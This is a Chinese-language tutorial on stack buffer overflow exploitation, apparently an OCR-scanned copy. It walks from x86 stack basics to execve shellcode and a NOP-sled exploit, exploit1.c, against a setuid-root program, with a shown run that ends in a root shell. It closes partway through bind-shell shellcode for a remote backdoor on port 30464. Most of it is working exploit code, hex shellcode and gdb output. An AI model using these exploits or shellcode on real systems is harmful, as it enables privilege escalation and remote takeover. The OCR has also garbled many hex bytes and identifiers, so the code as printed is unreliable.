版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認(rèn)領(lǐng)
文檔簡介
堆棧溢出技術(shù)從入門到精通
本講的預(yù)備知識:
一方面你應(yīng)當(dāng)了解intel匯編語言,熟悉寄存器的組成和功能。你必須有堆棧和存儲分派方
面
的基礎(chǔ)知識,有關(guān)這方面的計算機書籍很多,我將只是簡樸闡述原理,著重在應(yīng)用。另一方
面,
你應(yīng)當(dāng)了解linux,本講中我們的例子將在linux上開發(fā)。
1:一方面復(fù):習(xí)一下基礎(chǔ)知識。
從物理上講,堆棧是就是一段連續(xù)分派的內(nèi)存空間。在一個程序中,會聲明各種變量。靜態(tài)
全局變量是位于數(shù)據(jù)段并且在程序開始運營的時候被加載。而程序的動態(tài)的局部變量則分派
在堆棧里面。
從操作上來講,堆棧是一個先入后出的隊列。他的生長方向與內(nèi)存的生長方向正好相反。我
們規(guī)定內(nèi)存的生長方向為向上,則棧的生長方向為向下。壓棧的操作push=ESP—4,出棧
的
操作是pop=ESP+4.換句話說,堆棧中老的值,其內(nèi)存地址,反而比新的值要大。
請牢牢記住這一點,由于這是堆棧溢出的基本理論依據(jù)建
在一次函數(shù)調(diào)用中,堆棧中將被依次壓入:參數(shù),返回地址,EBPa假如函數(shù)有局部變量,
接下來,就在堆棧中開辟相應(yīng)的空間以構(gòu)造變量。函數(shù)執(zhí)行結(jié)束,這些局部變量的內(nèi)容將被
丟失。但是不被清除。在函數(shù)返問的時候,彈出EBP,恢復(fù)堆棧到函數(shù)調(diào)用的地址,彈出返
回
地址到EIP以繼續(xù)執(zhí)行程序。
在C語言程序中,參數(shù)的壓棧順序是反向的。比如func(abc)。在參數(shù)入棧的時候,是:
先壓c,再壓b,最后a.在取參數(shù)的時候,由于棧的先入后出,先取棧頂?shù)腶,再取b,最后取
Co
(PS:假如你看不懂上面這段概述,請你去看以看關(guān)于堆棧的書籍,一般的匯編語言書籍都
會具體的討論堆棧,必須弄懂它,你才干進行下面的學(xué)習(xí))
2:好了,繼續(xù),讓我們來看一看什么是堆棧溢出。
2.1:運營時的堆棧分派
堆棧溢出就是不顧堆棧中分派的局部數(shù)據(jù)塊大小,向該數(shù)據(jù)塊寫入了過多的數(shù)據(jù),導(dǎo)致數(shù)據(jù)
越界。結(jié)果覆蓋了老的堆棧數(shù)據(jù)。
比如有下面一段程序:
程序一:
#includc<stdio.h>
intmain()
(
charname[8];
printf("Pleasetypeyourname:");
gets(name);
printf("Hello,%s!",name);
return0;
編譯并且執(zhí)行,我們輸入ipxodi,就會輸出Hello,ipxodi!。程序運營中,堆棧是怎么操作的呢?
在main函數(shù)開始運營的時候,堆棧里面將被依次放入返回地址,EBP。
我們用gcc-S來獲得匯編語言輸出,可以看到main函數(shù)的開頭部分相應(yīng)如下語句:
pushl%ebp
movl%esp,%cbp
subl$8,%esp
一方面他把EBP保存卜.來,,然后EBP等于現(xiàn)在的ESP,這樣EBP就可以用來訪問本函數(shù)
的
局部變量。之后ESP減8,就是堆棧向上增長8個字節(jié),用來存放namen數(shù)組。現(xiàn)在堆棧
的布局如下:
內(nèi)存底部內(nèi)存頂部
nameEBPret
<-——[][][]
A&name
棧頂部堆棧底部
執(zhí)行完gets(name)之后,堆棧如下:
內(nèi)存底部內(nèi)存頂部
nameEBPret
<——|ipxodi\0][J[]
(gets,strcpy等等)沒有對數(shù)組越界加以監(jiān)視和限制,我們運用字符數(shù)組寫
越界,覆蓋堆棧中的老元素的值,就可以修改返回地址。
在上面的例子中,這導(dǎo)致CPU去訪問一個不存在的指令,結(jié)果犯錯。
事實上,當(dāng)堆棧溢出的時候,我們已經(jīng)完全的控制了這個程序下一步的動作。
假如我們用一個實際存在指令地址來覆蓋這個返回地址,CPU就會轉(zhuǎn)而執(zhí)行我
們的指令。
在UINX系統(tǒng)中,我們的指令可以執(zhí)行一個shell,這個shell將獲得和被我們堆
棧溢出的程序相同的權(quán)限,假如這個程序是setuid的,那么我們就可以獲得
rootshello
下一講將敘述如何書寫一個shellcode。
如何書寫一個shellcode
一:shellcode基本算法分析
在程序中,執(zhí)行一個shell的程序是這樣寫的:
shellcode.c
#include<stdio.h>
voidmain(){
char*name⑵;
name[0]="/bin/sh"
iiainc[l]=NULL;
execve(name[O],name,NULL);
execve函數(shù)將執(zhí)行一個程序。他需要程序的名字地址作為第一個參數(shù)。一個內(nèi)容為
該程序的argv[i](argv[n-l]=O)的指針數(shù)組作為第二個參數(shù),以及(char*)0作為
第三個參數(shù)。
我們來看以看execve的匯編代碼:
|nkl1OJ$Contcnt$nbsp;gcc-oshcllcodc-staticshcllcodc.c
[nkll0]$Content$nbsp;gdbshellcode
(gdb)disassemble_execve
Dumpofassemblercodeforfunction_execve:
Ox8OOO2bc<_cxccvc>:pushl%cbp;
Ox8OOO2bd<_execve+l>:movl%esp,%ebp
;上面是函數(shù)頭。
0x80002bf<_execve+3>:pushl%ebx
;保存ebx
0x80002c0<_execve+4>:movl$Oxb,%eax
:eax=Oxb,eax指明第幾號系統(tǒng)調(diào)用。
Ox8OOO2c5<_execve+9>:movlOx8(%ebp),%ebx
;ebp+8是第一個參數(shù)Vbin/sh\O"
Ox8OOO2c8<_cxccvc+12>:movlOxc(%cbp),%ccx
;cbpi12是第二個參數(shù)name數(shù)組的地址
Ox8OOO2cb<_execve+15>:movlOxlO(%ebp),%edx
;ebp+16是第三個參數(shù)空指針的地址。
;name[2-l]內(nèi)容為NULL,用來存放返回值。
Ox8OOO2ce<_execve+18>:int$0x80
;執(zhí)行Oxb號系統(tǒng)調(diào)用(exeeve)
Ox8(X)O2dO<_execve+20>:movl%eax,%edx
;下面是返回值的解決就沒有用了。
0x80002(12<_execve+22>:testl%edx,%edx
0x80002d4<_execve+24>:jnl0x80002e6<_execve+42>
0x8(X)02d6<_execve+26>:negl%edx
0x8C)002d8<_execve+28>:pushl%edx
0x80002d9<_execve+29>:call0x8001a34
<_normal_ermo_loca(ion>
0x8(X)02de<_execve+34>:pop1%edx
Ox8OOO2df<_execve+35>:movl%edx,(%eax)
Ox8OOO2el<_execve+37>:movl$Oxffffffff.%eax
0x80002e6<_execve+42>:popl%ebx
0x8(X)02c7<_cxccvc+43>:movl%cbp,%csp
0x80002e9<_execve+45>:popl%ebp
0x80002ea<_execve+46>:ret
0x80()02eb<_execve+47>:nop
Endofassemblerdump.
通過以上的分析,可以得到如下的精簡指令算法:
movl$cxccve的系統(tǒng)調(diào)用號,%eax
movl"bin/sh\0"的地址,%ebx
movlname數(shù)組的地址,%ecx
movlname[n-l]的地址,%edx
int$0x80;執(zhí)行系統(tǒng)調(diào)用(execve)
當(dāng)execve執(zhí)行成功后,程序shellcode就會退出,/bin/sh將作為子進程繼續(xù)執(zhí)行。
可是,假如我們的execve執(zhí)行失敗,(比如沒有/bin/sh這個文獻(xiàn)),CPU就會繼續(xù)
執(zhí)行后續(xù)的指令,結(jié)果不知道跑到哪里去了。所以必須再執(zhí)行一個exit()系統(tǒng)調(diào)
用,結(jié)束shellcode.c的執(zhí)行。
我們來看以看exit(O)的匯編代碼:
(gdb)disassemble_exit
Dumpofassemblercodeforfunction_cxit:
0x800034c<_exit>:pushl%ebp
0x800034d<_exil+l>:movl%esp,%ebp
0x800034f<_exit+3>:pushl%ebx
0x8000350<_cxit+4>:movl$0xl,%cax;1號系統(tǒng)調(diào)用
0x8000355<_exit+9>:movl0x8(%ebp),%ebx;ebx為參數(shù)0
0x8000358<_exit+12>:intS0x80;引發(fā)系統(tǒng)調(diào)用
Ox8OOO35a<_exil+!4>:movlOxfffffffc(%ebp),%ebx
Ox8(M)035d<_exit+l7>:mcvl%ebp,%esp
Ox8OOO35f<_exit+19>:popl%ebp
0x8000360<_cxit120>:ret
0x8(X)0361<_exil+21>:nop
0x8(X)0362<_exit+22>:nop
0x8000363<_exit+23>:nop
Endofassemblerdump.
看來exit(O))的匯編代碼更加簡樸:
movl$0x1,%eax;1號系統(tǒng)調(diào)用
movl0,%ebx;ebx為exit的參數(shù)0
int$0x8();引發(fā)系統(tǒng)調(diào)用
那么總結(jié)一下,合成的匯編代碼為:
movl$execve的系統(tǒng)調(diào)用號,%eax
movl"bin/sh\O”的地址,%cbx
movlname數(shù)組的地址,%ecx
movlname[n-l]的地址,%edx
int$0x80;執(zhí)行系統(tǒng)調(diào)用(exeeve)
movl$0x1,%eax;1號系統(tǒng)調(diào)用
movl0,%ebx;ebx為exit的參數(shù)0
int$0x80;執(zhí)行系統(tǒng)調(diào)用(exit)
二:實現(xiàn)一個shellcode
好,我們來實現(xiàn)這個算法,一方面我們必須有一個字符串“/bin/sh”,還得有一個name
數(shù)組。我們可以構(gòu)造它們出來,可是,在shellcode中如何知道它們的地址呢?每一次
程序都是動態(tài)加載,字符串和name數(shù)組的地址都不是固定的。
通過JMP和call的結(jié)合,黑客們巧妙的解決了這個問題。
jmpcall的偏移地址#2bytes
popl%esi#1byte//popl出來的是string的地址。
movl%csi,array-offsct(%csi)#3bytes〃在string+8處構(gòu)造name數(shù)組,
〃name[0]放string的地址
movb$OxO,nullbyteoffset(%esi)#4bytes//slring+7處放0作為string的結(jié)
尾。
movl$OxO,null-offset(%esi)#7bytes"name⑴放0。
movl$0xb,%eax#5bytes//eax=0xb是execve的syscall代碼
o
movl%esi,%ebx#2bytes〃ebx=string的地址
lealarray-offset,(%esi),%ecx#3bytes//ecx=name數(shù)組的開始地址
lealnull-offset(%esi),%edx#3bytes//edx=name(1]的地址
int$0x80#2bytes//int0x80是syscall
movl$0x1,%eax#5bytes//eax=Ox1是exit的syscall代碼
movl$0x0,%ebx#5bytes//ebx=O是exit的返I可值
int$0x80#2bytes//int0x80是syscall
callpopl的偏移地址#5bytes〃這里放call,string的地址就會
作
〃為返回地址壓棧。
/bin/sh字符串
一方面使用JMP相對地址來跳轉(zhuǎn)到call,執(zhí)行完call指令,字符串/bin/sh的地址將作為
call的返回地址壓入堆?!,F(xiàn)在來到poplesi,把剛剛壓入棧中的字符串地址取出來,
就獲得了字符串的真實地址。然后,在字符串的第8個字節(jié)賦0,作為串的結(jié)尾。后面
8個字節(jié),構(gòu)造name數(shù)組(兩個整數(shù),八個字節(jié))。
我們可以寫shellcode了。先寫出匯編源程序。
shellcodeasm.c
voidmain(){
_asm_(u
jmp0x2a#3bytes
popl%esi#1byte
movl%esi.0x8(%esi)#3bytes
movb$0x0,0x7(%esi)#4bytes
movl$OxO,Oxc(%esi)#7bytes
movl$Oxb.%eax#5bytes
movl%esi,%cbx#2bytes
leal0x8(%csi),%ccx#3bytes
lealOxc(%esi),%edx#3by:es
int$0x80#2bytes
movl$0x1,%eax#5bytes
movl$0x0,%ebx#5bytes
int$0x80#2bytes
call-0x2f#5bytes
.stringV'/bin/sh\"#8bytes
");
編譯后,用gdb的b/bx(地址)命令可以得到十六進制的表達(dá)。
下面,寫出測試程序如下:(注意,這個test程序是測試shellcode的基本程序)
test.c
charshellcode]]=
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\xOI\xOO\xOO\xOO\xbb\xOO\xOO\xOO\xOO\xcd\x8O\xe8\xdl\xff\xff
”\xff\x2Ax62\x69\x6e\x2nx73\x68\xOO\x89\xec\x5d\xc3”
voidrnain(){
int*ret:
ret=(int*)&ret+2;//ret等于main()的返回地址
〃(+2是由于:有pushlebp,否則加1就可以了。)
(*rct)=(int)shcllcodc;〃修改main()的返回地址為shellcode的開始地
址。
[nki10J$Content$nbsp;gcc-otesttest.c
[nkll0]$Content$nbsp;./test
SContent$nbsp;exit
[nkl10]$Content$nbsp;
我們通過一個shellcode數(shù)組來存放shellcode,當(dāng)我們把程序(test.c)的返回地址
ret設(shè)立成shellcode數(shù)組的開始地址時,程序在返回的時候就會去執(zhí)行我們的shellcode,
從而我們得到了一個shell。
運營結(jié)果,得到了bsh的提醒符$表白成功的開了一個shelU
這里有必要解釋的是,我們把shellcode作為一個全局變量開在了數(shù)據(jù)段而不是作為
一段代碼。是由于在操作系統(tǒng)中,程序代碼段的內(nèi)容是具有只讀屬性的。不能修改。
而我們的代碼中movl%函,0x8(%esi)等語句都修改了代碼的一部分,所以不能放在
代碼段。
這個shellcodc可以了嗎?很遺憾,還差了一點。大家回想一下,在堆棧溢出中,關(guān)
鍵在于字符串?dāng)?shù)組的寫越界。但是,gets,strcpy等字符串函數(shù)在解決字符串的時候,
以“\0"
為字符串結(jié)尾。遇\0就結(jié)束了寫操作。而我們的shellcode串中有大量的\0字符。因此,
對于gets(name)來說,上面的shellcode是不可行的。我們的shellcodc是不能有\(zhòng)0字符
出現(xiàn)的。
因此,有些指令需要修改一下:
舊的指令新的指令
movb$0x0,0x7(%esi)xorl%eax,%eax
molv$0x0,0xc(%esi)movb%cax,0x7(%csi)
movl%eax.Oxc(%esi)
movl$0xb,%eaxmovb$0xb,%al
movl$0x1,%eaxxorl%ebx,%ebx
movl$0x0,%cbxmovl%cbx,%cax
inc%cax
最后的shellcode為:
charshcllcode[]=
00"\xeb\xlf/*jmpOxlf*/
02"\x5e"/*popl%esi*/
()3"\x89\x76\x08"/*movl%esi,0x8(%csi)*/
06"\x31\xc0"/*xorl%eax,%eax*/
08"\x88\x46\x07"/*movb%eax,0x7(%esi)*/
0b"\x89\x46\x0c"/*movl%eax,Oxc(%esi)*/
0c"\xbO\xOb"/*movb$Oxb,%al*/
10"\x89\xf3,t/*movl%esi.%ebx*/
12"\x8d\x4e\x08"/*leal0>8(%esi),%ecx*/
15"\x8d\x56\x0c"/*lealOxc(%esi),%edx*/
18"\xcd\x80"/*int$0x80*/
la"\x31\xdb"/*xorl%cbx.%cbx*/
1c,,\x89\xd8"/*movl%ebx,%eax*/
Ie"\x40"/*inc%eax*/
lf"\xcd\x80"/*ini$0x80*/
21"\xe8\xdc\xff\xft\xff'/*call-0x24*/
26"/bin/sh"/?.string\"/bin/sh\"*/
三:運用堆棧溢出獲得shell
好了,現(xiàn)在我們已經(jīng)制造了一次堆棧溢出,寫好了一個shellcode。準(zhǔn)備工作都已經(jīng)作完,
我們把兩者結(jié)合起來,就寫出一個運用堆棧溢出獲得shell的程序.
overflowl.c
charshellcode[]=
"\xeb\x11\x5e\x89\x76\x08\x3I\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh"
charlarge_string[128];
voidmain(){
charbuffer[961;
inti;
long*long_ptr=(long*)large_string;
for(i=0;i<32;i++)
*(long_ptr+i)=(int)buffer;
for(i=0;i<slrlcii(shcllcudc);i十十)
large_string[i]=shellcode[i];
strcpy(bufferJarge_string);
在執(zhí)行完strcpy后,堆棧內(nèi)容如下所示:
內(nèi)存底部內(nèi)存頂部
bufferEBPret
<——[SSS...SSSA][A][A]A..A
A&buffer
棧頂部堆棧底部
注:S表達(dá)shellcodeo
A表達(dá)shellcode的地址。
這樣,在執(zhí)行完strcpy后.overflow。c將從ret取出A作為返回地址,從而執(zhí)行了我們
的shellcodeo
運用堆棧溢出獲得shell
現(xiàn)在讓我們進入最刺激的一講,運用別人的程序的堆棧溢出獲得rootsheL我們
將面對
一個有strepy堆棧溢出漏洞的程序,運用前面說過的方法來得到shello
回想一下前面所講,我們通過一個shcllcodc數(shù)組來存放shcllcodc,運用程序中的
strepy
函數(shù),把shellcode放到了程序的堆棧之中;我們制造了數(shù)組越界,用shellcode的
開始地
址覆蓋了程序(overflow.c)的返回地址,程序在返回的時候就會去執(zhí)行我們的
shellcode,從而我們得到了一個shell。
當(dāng)我們面對別人寫的程序時,為了讓他執(zhí)行我們的shellcode,同樣必須作這兩件
事:
I:把我們的shellcode提供應(yīng)他,讓他可以訪問shellcode..
2:修改他的返回地址為sheHcode的入口地址。
為了做到這兩條,我們必須知道他的strepy(huffer,ourshcilcode)中,buffer
的地址。
由于當(dāng)我們把shellcode提供應(yīng)strepy之后,buffer的開始地址就是shellcode的開
始地址
,我們必須用這個地址來覆蓋堆棧才成。這一點大家一定要明確。
我們知道,對于操作系統(tǒng)來說,一個shell下的每一個程序的堆棧段開始地址都是
相同的
。我們可以寫一個程序,獲得運營時的堆棧起始地址,這樣,我們就知道了目的程
序堆棧
的開始地址。
下面這個函數(shù),用eax返回當(dāng)前程序的堆棧指針。(所有C函數(shù)的返回值都放在eax
寄存器
里面):
unsignedlongget_sp(void){
_asm_("movl%esp,%eax");
我們在知道了堆棧開始地址后,buffer相對于堆棧開始地址的偏移,是他程序員自
己
寫出來的程序決定的,我們不知道,只能靠猜測了。但是,一般的程序堆棧大約是
幾K
左右。所以,這個buffer與上面得到的堆棧地址,相差就在幾K之間。
顯然猜地址這是一件很難的事情,從0試到10K,會把人累死的。
前面我們用來覆蓋堆棧的溢出字符串為:
SSSSSSSSSSSSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
現(xiàn)在,為了提高命中率,我們對他進行如下改善:
用來溢出的字符串變?yōu)椋?/p>
NNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA
其中:
N為NOP.NOP指令意思是什么都不作,跳過一個CPU指令周期。在intel機器上,
NOP指令的機器碼為0x90o
S為shellcode?
A為我們猜測的buffer的地址。這樣,A猜大了也可以落在N上,并且最終會執(zhí)行到
S.
這個改善大大提高了猜測的命中率,有時幾乎可以一次命中。:)))
好了,枯燥的算法分析完了,下面就是運用./vulnerablel的堆棧溢出漏洞來得到
shell的程序:
exploitl.c
#include<stdio.h>
#include<stdlib.h>
#defineOFFSET0
#dcfineRET_POSITION1024
#defineRANGE20
#defineNOP0x90
charshellcode[]=
"\xeb\x1f/*jmpOx1f*/
"\x5e"/*popl%esi*/
”\x89\x76\x08”/*movl%esi,0x8(%esi)*/
"\x31\xc0"/*xorl%eax,%cax*/
"\x88\x46\x07"/*movb%eax.0x7(%esi)*/
"\x89\x46\x0c"/*movl%eax,Oxc(%esi)*/
"\xhO\xOh"/*movb$0xb,%a1?/
"\x89\xf3"/*movl%esi,%ebx*/
"\x8d\x4e\x08"/*leal0x8(%esi),%ecx*/
"\x8d\x56\x0c"/*lealOxc(%esi),%edx*/
"\xcd\x80"/*intSOxSO*/
"\x31\xdb"/*xorl%ebx,%ebx*/
"\x89\xd8"/*movl%ebx,%eax*/
"\x40"/*inc%eax*/
"\xcd\x80"/*intS0x80*/
"\xe8\xdc\xfi\xff\xff/*call-0x24*/
7bin/sh"/*.string\"/bin/sh\"*/
unsignedlongget_sp(void)
_asm_("movl%esp,%eax");
main(intargc,char**argv)
charbuft!RET_POSITION+RANGE+l],*ptr;
longaddr;
unsignedlongsp;
intoffset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+l;
inti;
if(argc>1)
offset=atoi(argv[I]);
sp=get_sp();
addr=sp-offset;
for(i=0;i<bsize;i+=4)
?((long*)&(buff[iJ))=addr;
fbr(i=0;i<bsize-RANGE*2-strlen(shellcode)-l;i++)
buff!iJ=NOP;
ptr=buff+bsize-RANGE*2->trlen(shellcode)-l;
for(i=0;i<strlcn(shellcodc);i++)
*(ptr++)=shellcode[i];
buffIbsize-l]=n\O"
〃現(xiàn)在buff的內(nèi)容為
//NNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA\O
piintf("Junipto0x%08x\n",addr);
cxculC./vuiiicrablcl";'vulnerablerebuff,0);
execl用來執(zhí)行目的程序./vulnerable],buff是我們精心制作的溢出字符串,
作為./vulnerable1的參數(shù)提供。
以下是執(zhí)行的結(jié)果:
[nkl10]$Content$nbsp;ls-Ivulnerable1
-rwsr-xr-x1rootrootxxxxjan1016:19vulnerableI*
|nkll()]$Contcnt$nbsp;ls-1exploitI
-rwxr-xr-x1ipxodicinipxxxxOct1813:20exploit1*
[nkl10]$Content$nbsp;./exploit1
Jumpto0xbfffec64
Segmentationfault
[nkllO]$Content$nbsp:./exploitl500
Jumpto0xbfffea70
bash#whoami
root
bash#
恭喜,恭喜,你獲得了rootshello
下一講,我們將進一步探討shellcode的書寫。我們將討論一些很復(fù)雜的
shellcode?
遠(yuǎn)程堆棧溢出
我們用堆棧溢出襲擊守護進程daemon時,原理和前面提到過的本地襲擊是相同的。
我們
必須提供應(yīng)目的daemon一個溢出字符串,里面包含了shellcode。希望敵人在復(fù)制
(或者
別的串解決操作)這個串的時候發(fā)生堆棧溢出,從而執(zhí)行我們的shellcode。
普通的shellcode將啟動一個子進程執(zhí)行sh,自己退出。對于我們這些遠(yuǎn)程的襲擊
者來說
,由于我們不在本地,這個sh我們并沒有得到。
因此,對于遠(yuǎn)程使用者,我們傳過去的shellcode就必須承擔(dān)起打開一個socket,
然后
listen我們的連接,給我們一個遠(yuǎn)程shell的責(zé)任。
如何開一個遠(yuǎn)程shell呢?我們先申請一個sockctfd,使用30464(隨便,多少都行
)作為
這個sockel連接的端口,bind他,然后在這個端口上等待連接lislen。當(dāng)有連接進
來后,
開一個子shell,把連接的clientfd作為子shell的stdin,stdout,stderro這樣,
我們
遠(yuǎn)程的使用者就有了一個遠(yuǎn)程shell(跟telnet同樣啦)。
下面就是這個算法的C實現(xiàn):
opensocket.c
l#includc<unistd.h>
2#include<sys/socket.h>
3#include<netinet/in.h>
4intsoc,cli,soc_len;
5structsockaddr_inserv_addr;
6structsockaddr_incli_addr;
7intmain()
9if(fbrk()==O)
10{
1iserv_addr.sin_famiIy=AF_INET;
12serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);
13scrv_addr.sin_port=htons(30464);
14soc=sockct(AF_INET,SOCK_STREAM,IPPROTO_TCP);
15bind(soc,(structsockaddr*)&serv_addr,
sizeof(serv_addr));
16listen(soc,l);
17soc_len=sizeof(cli_addr);
18cli=accept(soc,(structsockaddr*)&cli_addr.
&soc_len);
19dup2(cli,0);
20dup2(cli,l);
21dup2(cli,2);
22execl("/bin/sh","sh,,,O);
23)
24)
第9行的fork。函數(shù)創(chuàng)建了一個子進程,對于父進程fork。的返回值是子進程的
pid,
對于子進程,fork。的返叵值是0.本程序中,父進程執(zhí)行了一個fork就退出了,子
進程
作為socket通信的執(zhí)行者繼續(xù)下面的操作。
10到23行都是子進程所作的事情。一方面調(diào)用socket獲得一個文獻(xiàn)描述符soc,然后
調(diào)用
bind。綁定30464端口,接下來開始監(jiān)聽lislen。.程序掛起在accept等待客戶連接
O
當(dāng)有客戶連接時,程序被喚醒,進行accepl,然后把自己的標(biāo)準(zhǔn)輸入,標(biāo)準(zhǔn)輸出,
標(biāo)準(zhǔn)錯誤輸出重定向到客戶的文獻(xiàn)描述符上,開一個子sh,這樣,子shell繼承了
這個進程的文獻(xiàn)描述符,對于客戶來說,就是得到了一個遠(yuǎn)程shell。
看懂了嗎?嗯,對,這是一個比較簡樸的socket程序,很好理解的。好,我們使用
gdb來反編譯上面的程序:
[nkl10]$Content$nbsp;gcc-oopensocket-staticopensocket.c
[nkll()J$Content$nbsp;gdbopensocket
GNUgdb4.17
Copyright1998FreeSoftwareFoundation,Inc.
GDBisfreesoftware,coveredby(heGNUGeneralPublicLicense,andyou
are
welcometochangeitand/ordistributecopiesofitundercertain
conditions.
Type"showcopying"toseetheconditions.
ThereisabsolutelynowarrantyforGDB.Type"showwarranty"fbr
details.
ThisGDBwasconfiguredas"i386-rcdhat-linux"...
(gdb)disassemblefork
Dumpofassemblercodeforfunctionfork:
0x8()4ca90<fork>:movl$0x2,%eax
0x804ca95<fork+5>:int$0x80
0x804ca97<fork+7>:cnipl$0xfffff001,%eax
0x804ca9c<fork+12>:jae0x804cdc0<_syscall_error>
0x8()4caa2<fork+18>:ret
0x804caa3<fork+19>:nop
0x804caa4<fork+20>:nop
0x804caa5<fork+2l>:nop
0x804caa6<fork+22>:nop
0x804caa7<fork+23>:nop
0x804caa8<fork+24>:nop
0x804caa9<fork+25>:nop
0x8()4caaa<fork+26>:nop
0x804caab<fork+27>:nop
0x804caac<fork+28>:nop
0x804caad<fork+29>:nop
0x8()4caac<fork+3()>:nop
0x804caaf<fork+31>:nop
Endofassemblerdump.
(gdb)disassemblesocket
Dumpofassemblercodeforfunctionsocket:
0x804cda0<sockct>:movl%cbx,%cdx
0x804cda2<socket+2>:movlS0x66,%eax
0x8()4cda7<socket+7>:movl$0xI,%ebx
0x804cdac<socket+12>:leal0x4(%esp,1),%ecx
0x804cdb0<socket+16>:int$0x80
0x804cdb2<socket+18>:movl%edx.%ebx
0x8()4cdb4<socket+2()>:cmpl$Oxffffff83,%eax
0x804cdb7<sockct+23>:jac0x804cdc0<_syscall_crror>
0x804cdbd<socket+29>:ret
0x804cdbe<socket+30>:nop
0x804cdbf<socket+31>:nop
Endofassemblerdump.
(gdb)disassemblebind
Dumpofassemblercodeforfunctionbind:
0x8()4cd60<bind>:movl%ebx,%edx
0x804cd62<bind+2>:movl$0x66,%eax
0x804cd67<bind+7>:movl$0x2,%ebx
0x804cd6c<bind+12>:leal0x4(%esp,l),%ecx
0x8()4cd70<bind+16>:int$0x80
0x804cd72<bind+18>:mov)%edx,%ebx
0x804cd74<bind+20>:cmpl$Oxffffff83,%eax
0x804cd77<bind+23>:jae0x804cdc0<_syscall_error>
0x804cd7d<bind+29>:ret
0x804cd7c<bind?3O>:nop
0x804cd7f<bind+31>:nop
Endofassemblerdump.
(gdb)disassemblelisten
Dumpofassemblercodeforfunctionlisten:
0x804cd80<lis(en>:movl%ebx,%edx
0x804cd82<listen+2>:movl$0x66,%eax
0x804cd87<listcn+7>:movl$0x4,%cbx
0x804cd8c<listen+12>:leal0x4(%esp,l),%ecx
0x804cd90<listen+16>:int$0x80
0x804cd92<listen+18>:movl%edx,%ebx
0x804cd94<listen+20>:cmpl$Oxffffff83,%eax
0x804cd97<listen+23>:jae0x804cdc0<_syscall_error>
0x804cd9d<listen+29>:ret
0x8()4cd9e<listen+30>:nop
0x804cd9f<listcn+31>:nop
Endofassemblerdump.
(gdb)disassembleaccept
Dumpofassemblercodeforfunction_accept:
0x804cd40<_accept>:movl%ebx,%edx
0x804cd42<_accepl+2>:movl$0x66,%eax
0x804cd47<_accep(+7>:movl$0x5,%ebx
0x804cd4c<_accept+12>:leal0x4(%esp,l),%ecx
0x804cd50<_accepti16>:int$0x80
0x804cd52<_accep(+18>:movl%edx,%ebx
Ox8(Mcd54<__accept+20>:cmpl$0xffffff83,%eax
0x804cd57<_accept+23>:jae0x804cdc0<_syscall_error>
0x804cd5d<_accept+29>:ret
0x804cd5e<_accept+30>:nop
0x804cd5f<_accept+31>:nop
Endofassemblerdump.
(gdb)disassembledup2
Dumpofassemblercodeforfunctiondup2:
0x804cbe0<dup2>:movl%ebx,%edx
0x804cbc2<dup2+2>:movl0x8(%esp,l),%ecx
0x804cbe6<dup2+6>:movl0x4(%esp,l),%ebx
0x804cbea<dup2+10>:movl$0x3f,%eax
0x8()4cbef<dup2+l5>:int$0x80
0x804cbfl<dup2+17>:movl%cdx,%ebx
0x804cbf3<dup2+19>:cmpl$0xfffff001,%eax
0x804cbf8<dup2+24>:jae0x804cdc0<_syscall_error>
0x804cbfe<dup2+30>:ret
0x804cbff<dup2+31>:nop
Endofassemblerdump.
現(xiàn)在可以寫上面c代碼的匯編語句了。
fork。的匯編代碼
charcode[l=
"\x3l\xc0"/*xorl%eax,%eax*/
"\xb0\x02"/*movb$0x2,%al*/
"\xcd\x80"/*intS0x80*/
socket(2,1,6)的匯編代碼
注:AF_INET=2,SOCK_STREAM=1,IPPROTO_TCP=6
/*socket使用66號系統(tǒng)調(diào)用,1號子調(diào)用。*/
/*他使用一段內(nèi)存塊來傳遞參數(shù)2,1,6。*/
/*%ccx里面為這個內(nèi)存塊的地址指針.*/
charcode[l=
"\x31\xc0"/*xorl%eax,%eax*/
”\x31\xdb”/*xorl%ebx,%ebx*/
"\x89\xfl"/*movl%esi,%ecx*/
"\xb0\x02"/*movb$0x2,%al*/
"\x89\x06"/*movl%cax,(%esi)*/
/求第一個參數(shù)為
/*%esi指向一段未使用的內(nèi)存空間*/
"\xbO\xOI"/*movbSOxl,%al*/
”\x89\x46\x04"/*movl%eax,0x4(%esi)*/
/*第二個參數(shù)*/
"\xbO\xO6"/*movb$0x6,%al*/
”\x89\x46\x08”/*movl%eax,()x8(%esi)*/
/*第三個參數(shù).*/
"\xbO\x66"/*movb$0x66,%al*/
"\xb3\x01"/*movbSOxl,%bl*/
"\xcd\x80"/*intS0x80*/
bind(soc,(structsockaddr*)&serv_addr,OxlO)的匯編代碼
/*bind使用66號系統(tǒng)調(diào)用,2號子調(diào)用。*/
/*他使用一段內(nèi)存塊來傳遞參數(shù)。*/
/,"%ecx里面為這個內(nèi)存塊的地址指針.*/
charcode[]=
"\x89\xfl"/*movl%esi,%ecx*/
"\x89\x06"/*movl%eax,(%esi)*/
/*%cax的內(nèi)容為剛才socket調(diào)用的返回值,*/
/求就是soc文獻(xiàn)描述符,作為第一個參數(shù)"/
"\xb0\x02"/*movb$0x2,%al*/
"\x66\x89\x46\x0c"/*movw%ax,0xc(%esi)*/
/*scrv_addr.sin_family=AF_NET(2)*/
/*2放在0xc(%esi).*/
"\xb0\x77"/*movb$0x77,%al*/
"\x66\x89\x46\x0e"/*movw%ax,0xe(%esi)*/
/*端標(biāo)語(0x7700=30464)放在Oxe(%esi)*/
"\x8d\x46\x0c"/*lealOxc(%esi),%eax*/
/*%eax=serv_addr的地址*/
”\x89\x46\x04"/*movl%eax,0x4(%esi)*/
/*第二個參數(shù).刃
"\x31\xc0"/*xorl%eax,%eax*/
